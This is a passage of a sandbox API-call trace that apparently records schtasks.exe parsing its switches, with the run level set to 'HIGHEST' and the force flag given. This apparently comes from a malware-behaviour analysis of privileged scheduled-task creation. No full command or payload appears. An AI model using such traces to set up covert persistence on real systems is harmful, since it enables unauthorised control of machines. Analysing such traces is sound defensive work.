(dwErrCode=0x490) [0127.114] lstrlenW (lpString="m") returned 1 [0127.114] lstrlenW (lpString="m") returned 1 [0127.114] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.114] lstrlenW (lpString="rl") returned 2 [0127.114] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.114] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|m|") returned 3 [0127.114] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.114] lstrlenW (lpString="|m|") returned 3 [0127.114] lstrlenW (lpString="|rl|") returned 4 [0127.114] SetLastError (dwErrCode=0x490) [0127.115] lstrlenW (lpString="i") returned 1 [0127.115] lstrlenW (lpString="i") returned 1 [0127.115] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.115] lstrlenW (lpString="rl") returned 2 [0127.115] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.115] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|i|") returned 3 [0127.115] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.115] lstrlenW (lpString="|i|") returned 3 [0127.115] lstrlenW (lpString="|rl|") returned 4 [0127.115] SetLastError (dwErrCode=0x490) [0127.115] lstrlenW (lpString="tn") returned 2 [0127.115] lstrlenW (lpString="tn") returned 2 [0127.115] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.115] lstrlenW (lpString="rl") returned 2 [0127.115] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.115] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.115] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.115] lstrlenW (lpString="|tn|") returned 4 [0127.115] lstrlenW (lpString="|rl|") returned 4 [0127.115] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0127.115] SetLastError (dwErrCode=0x490) [0127.115] lstrlenW (lpString="tr") returned 2 [0127.115] lstrlenW (lpString="tr") returned 2 [0127.115] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.115] lstrlenW (lpString="rl") returned 2 [0127.116] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.116] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tr|") returned 4 [0127.116] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.116] lstrlenW (lpString="|tr|") returned 4 [0127.116] lstrlenW (lpString="|rl|") returned 4 [0127.116] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0127.116] SetLastError (dwErrCode=0x490) [0127.116] lstrlenW (lpString="st") returned 2 [0127.116] lstrlenW (lpString="st") returned 2 [0127.116] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.116] lstrlenW (lpString="rl") returned 2 [0127.116] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.116] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|st|") returned 4 [0127.116] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.116] lstrlenW (lpString="|st|") returned 4 [0127.116] lstrlenW (lpString="|rl|") returned 4 [0127.116] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0127.116] SetLastError (dwErrCode=0x490) [0127.116] lstrlenW (lpString="sd") returned 2 [0127.116] lstrlenW (lpString="sd") returned 2 [0127.116] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.116] lstrlenW (lpString="rl") returned 2 [0127.116] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.116] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sd|") returned 4 [0127.116] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.117] lstrlenW (lpString="|sd|") returned 4 [0127.117] lstrlenW (lpString="|rl|") returned 4 [0127.117] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0127.117] SetLastError (dwErrCode=0x490) [0127.117] lstrlenW (lpString="ed") returned 2 [0127.117] lstrlenW (lpString="ed") returned 2 [0127.117] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.117] lstrlenW (lpString="rl") returned 2 [0127.117] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.117] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ed|") returned 4 [0127.117] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.117] lstrlenW (lpString="|ed|") returned 4 [0127.117] lstrlenW (lpString="|rl|") returned 4 [0127.117] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0127.117] SetLastError (dwErrCode=0x490) [0127.117] lstrlenW (lpString="it") returned 2 [0127.117] lstrlenW (lpString="it") returned 2 [0127.117] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.117] lstrlenW (lpString="rl") returned 2 [0127.117] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.117] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|it|") returned 4 [0127.117] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.117] lstrlenW (lpString="|it|") returned 4 [0127.117] lstrlenW (lpString="|rl|") returned 4 [0127.117] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0127.117] SetLastError (dwErrCode=0x490) [0127.117] lstrlenW (lpString="et") returned 2 [0127.118] lstrlenW (lpString="et") returned 2 [0127.118] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.118] lstrlenW (lpString="rl") returned 2 [0127.118] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.118] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|et|") returned 4 [0127.118] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.118] lstrlenW (lpString="|et|") returned 4 [0127.118] lstrlenW (lpString="|rl|") returned 4 [0127.118] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0127.118] SetLastError (dwErrCode=0x490) [0127.118] lstrlenW (lpString="k") returned 1 [0127.118] lstrlenW (lpString="k") returned 1 [0127.118] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.118] lstrlenW (lpString="rl") returned 2 [0127.118] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.118] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|k|") returned 3 [0127.118] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.118] lstrlenW (lpString="|k|") returned 3 [0127.118] lstrlenW (lpString="|rl|") returned 4 [0127.118] SetLastError (dwErrCode=0x490) [0127.118] lstrlenW (lpString="du") returned 2 [0127.118] lstrlenW (lpString="du") returned 2 [0127.118] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.118] lstrlenW (lpString="rl") returned 2 [0127.118] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.118] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|du|") returned 4 [0127.119] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.119] lstrlenW (lpString="|du|") returned 4 [0127.119] lstrlenW (lpString="|rl|") returned 4 [0127.119] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0127.119] SetLastError (dwErrCode=0x490) [0127.119] lstrlenW (lpString="ri") returned 2 [0127.119] lstrlenW (lpString="ri") returned 2 [0127.119] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.119] lstrlenW (lpString="rl") returned 2 [0127.119] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.119] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ri|") returned 4 [0127.119] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.119] lstrlenW (lpString="|ri|") returned 4 [0127.119] lstrlenW (lpString="|rl|") returned 4 [0127.119] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0127.119] SetLastError (dwErrCode=0x490) [0127.119] lstrlenW (lpString="z") returned 1 [0127.119] lstrlenW (lpString="z") returned 1 [0127.119] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.119] lstrlenW (lpString="rl") returned 2 [0127.119] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.119] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|z|") returned 3 [0127.119] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.119] lstrlenW (lpString="|z|") returned 3 [0127.119] lstrlenW (lpString="|rl|") returned 4 [0127.119] SetLastError (dwErrCode=0x490) [0127.119] lstrlenW (lpString="f") returned 1 [0127.120] lstrlenW (lpString="f") returned 1 [0127.120] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.120] lstrlenW (lpString="rl") returned 2 [0127.120] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.120] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.120] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.120] lstrlenW (lpString="|f|") returned 3 [0127.120] lstrlenW (lpString="|rl|") returned 4 [0127.120] SetLastError (dwErrCode=0x490) [0127.120] lstrlenW (lpString="v1") returned 2 [0127.120] lstrlenW (lpString="v1") returned 2 [0127.120] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.120] lstrlenW (lpString="rl") returned 2 [0127.120] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.120] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|v1|") returned 4 [0127.120] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.120] lstrlenW (lpString="|v1|") returned 4 [0127.120] lstrlenW (lpString="|rl|") returned 4 [0127.120] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0127.120] SetLastError (dwErrCode=0x490) [0127.120] lstrlenW (lpString="xml") returned 3 [0127.120] lstrlenW (lpString="xml") returned 3 [0127.120] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.120] lstrlenW (lpString="rl") returned 2 [0127.120] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.120] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|xml|") returned 5 [0127.121] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.121] lstrlenW (lpString="|xml|") returned 5 [0127.121] lstrlenW (lpString="|rl|") returned 4 [0127.121] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0127.121] SetLastError (dwErrCode=0x490) [0127.121] lstrlenW (lpString="ec") returned 2 [0127.121] lstrlenW (lpString="ec") returned 2 [0127.121] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.121] lstrlenW (lpString="rl") returned 2 [0127.121] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.121] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ec|") returned 4 [0127.121] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.121] lstrlenW (lpString="|ec|") returned 4 [0127.121] lstrlenW (lpString="|rl|") returned 4 [0127.121] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0127.121] SetLastError (dwErrCode=0x490) [0127.121] lstrlenW (lpString="rl") returned 2 [0127.121] lstrlenW (lpString="rl") returned 2 [0127.121] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.121] lstrlenW (lpString="rl") returned 2 [0127.121] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.121] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.121] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rl|") returned 4 [0127.121] lstrlenW (lpString="|rl|") returned 4 [0127.121] lstrlenW (lpString="|rl|") returned 4 [0127.122] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0127.122] SetLastError (dwErrCode=0x0) [0127.122] SetLastError (dwErrCode=0x0) [0127.122] lstrlenW (lpString="HIGHEST") returned 7 [0127.122] lstrlenW (lpString="-/") returned 2 [0127.122] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0127.122] SetLastError (dwErrCode=0x490) [0127.122] SetLastError (dwErrCode=0x490) [0127.122] SetLastError (dwErrCode=0x0) [0127.122] lstrlenW (lpString="HIGHEST") returned 7 [0127.122] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0127.122] SetLastError (dwErrCode=0x490) [0127.122] SetLastError (dwErrCode=0x0) [0127.122] _memicmp (_Buf1=0x12d580, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.122] lstrlenW (lpString="HIGHEST") returned 7 [0127.122] lstrlenW (lpString="HIGHEST") returned 7 [0127.122] lstrlenW (lpString=" \x09") returned 2 [0127.122] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0127.122] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0127.122] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0127.122] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0127.122] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0127.122] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0127.122] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0127.122] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0127.122] GetLastError () returned 0x0 [0127.122] lstrlenW (lpString="HIGHEST") returned 7 [0127.122] lstrlenW (lpString="HIGHEST") returned 7 [0127.122] SetLastError (dwErrCode=0x0) [0127.122] SetLastError (dwErrCode=0x0) [0127.122] lstrlenW (lpString="/f") returned 2 [0127.123] lstrlenW (lpString="-/") returned 2 [0127.123] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.123] lstrlenW (lpString="create") returned 6 [0127.123] lstrlenW (lpString="create") returned 6 [0127.123] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.123] lstrlenW (lpString="f") returned 1 [0127.123] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.123] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|create|") returned 8 [0127.123] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.123] lstrlenW (lpString="|create|") returned 8 [0127.123] lstrlenW (lpString="|f|") returned 3 [0127.123] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0127.123] SetLastError (dwErrCode=0x490) [0127.123] lstrlenW (lpString="?") returned 1 [0127.123] lstrlenW (lpString="?") returned 1 [0127.123] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.123] lstrlenW (lpString="f") returned 1 [0127.123] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.123] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|?|") returned 3 [0127.123] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.123] lstrlenW (lpString="|?|") returned 3 [0127.123] lstrlenW (lpString="|f|") returned 3 [0127.123] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0127.123] SetLastError (dwErrCode=0x490) [0127.123] lstrlenW (lpString="s") returned 1 [0127.123] lstrlenW (lpString="s") returned 1 [0127.123] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.124] lstrlenW (lpString="f") returned 1 [0127.124] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.124] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|s|") returned 3 [0127.124] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.124] lstrlenW (lpString="|s|") returned 3 [0127.124] lstrlenW (lpString="|f|") returned 3 [0127.124] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0127.124] SetLastError (dwErrCode=0x490) [0127.124] lstrlenW (lpString="u") returned 1 [0127.124] lstrlenW (lpString="u") returned 1 [0127.124] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.124] lstrlenW (lpString="f") returned 1 [0127.124] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.124] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|u|") returned 3 [0127.124] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.124] lstrlenW (lpString="|u|") returned 3 [0127.124] lstrlenW (lpString="|f|") returned 3 [0127.124] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0127.124] SetLastError (dwErrCode=0x490) [0127.124] lstrlenW (lpString="p") returned 1 [0127.124] lstrlenW (lpString="p") returned 1 [0127.124] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.124] lstrlenW (lpString="f") returned 1 [0127.125] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.125] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|p|") returned 3 [0127.125] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.125] lstrlenW (lpString="|p|") returned 3 [0127.125] lstrlenW (lpString="|f|") returned 3 [0127.125] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0127.125] SetLastError (dwErrCode=0x490) [0127.125] lstrlenW (lpString="ru") returned 2 [0127.125] lstrlenW (lpString="ru") returned 2 [0127.125] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.125] lstrlenW (lpString="f") returned 1 [0127.125] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.125] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|ru|") returned 4 [0127.125] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.125] lstrlenW (lpString="|ru|") returned 4 [0127.125] lstrlenW (lpString="|f|") returned 3 [0127.125] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0127.125] SetLastError (dwErrCode=0x490) [0127.125] lstrlenW (lpString="rp") returned 2 [0127.125] lstrlenW (lpString="rp") returned 2 [0127.125] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.125] lstrlenW (lpString="f") returned 1 [0127.125] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.125] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|rp|") returned 4 [0127.126] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.126] lstrlenW (lpString="|rp|") returned 4 [0127.126] lstrlenW (lpString="|f|") returned 3 [0127.126] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0127.126] SetLastError (dwErrCode=0x490) [0127.126] lstrlenW (lpString="sc") returned 2 [0127.126] lstrlenW (lpString="sc") returned 2 [0127.126] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.126] lstrlenW (lpString="f") returned 1 [0127.126] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.126] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|sc|") returned 4 [0127.126] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.126] lstrlenW (lpString="|sc|") returned 4 [0127.126] lstrlenW (lpString="|f|") returned 3 [0127.126] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0127.126] SetLastError (dwErrCode=0x490) [0127.126] lstrlenW (lpString="mo") returned 2 [0127.126] lstrlenW (lpString="mo") returned 2 [0127.126] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.126] lstrlenW (lpString="f") returned 1 [0127.126] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.126] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|mo|") returned 4 [0127.126] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.126] lstrlenW (lpString="|mo|") returned 4 [0127.126] lstrlenW (lpString="|f|") returned 3 [0127.127] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0127.127] SetLastError (dwErrCode=0x490) [0127.127] lstrlenW (lpString="d") returned 1 [0127.127] lstrlenW (lpString="d") returned 1 [0127.127] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.127] lstrlenW (lpString="f") returned 1 [0127.127] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.127] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|d|") returned 3 [0127.127] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.127] lstrlenW (lpString="|d|") returned 3 [0127.127] lstrlenW (lpString="|f|") returned 3 [0127.127] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0127.127] SetLastError (dwErrCode=0x490) [0127.127] lstrlenW (lpString="m") returned 1 [0127.127] lstrlenW (lpString="m") returned 1 [0127.127] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.127] lstrlenW (lpString="f") returned 1 [0127.127] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.127] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|m|") returned 3 [0127.127] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.127] lstrlenW (lpString="|m|") returned 3 [0127.127] lstrlenW (lpString="|f|") returned 3 [0127.127] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0127.127] SetLastError (dwErrCode=0x490) [0127.127] lstrlenW (lpString="i") returned 1 [0127.128] lstrlenW (lpString="i") returned 1 [0127.128] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.128] lstrlenW (lpString="f") returned 1 [0127.128] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.128] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|i|") returned 3 [0127.128] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.128] lstrlenW (lpString="|i|") returned 3 [0127.128] lstrlenW (lpString="|f|") returned 3 [0127.128] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0127.128] SetLastError (dwErrCode=0x490) [0127.128] lstrlenW (lpString="tn") returned 2 [0127.128] lstrlenW (lpString="tn") returned 2 [0127.128] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.128] lstrlenW (lpString="f") returned 1 [0127.128] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.128] _vsnwprintf (in: _Buffer=0x12c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|tn|") returned 4 [0127.128] _vsnwprintf (in: _Buffer=0x12c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc888 | out: _Buffer="|f|") returned 3 [0127.128] lstrlenW (lpString="|tn|") returned 4 [0127.128] lstrlenW (lpString="|f|") returned 3 [0127.128] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0127.128] SetLastError (dwErrCode=0x490) [0127.128] lstrlenW (lpString="tr") returned 2 [0127.128] lstrlenW (lpString="tr") returned 2 [0127.128] _memicmp (_Buf1=0x12c1c0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.128] lstrlenW (lpString="f") returned 1 [0127.128] _memicmp (_Buf1=0x12c200, _Buf2=0xffc81b08, _Size=0x7) returned 0 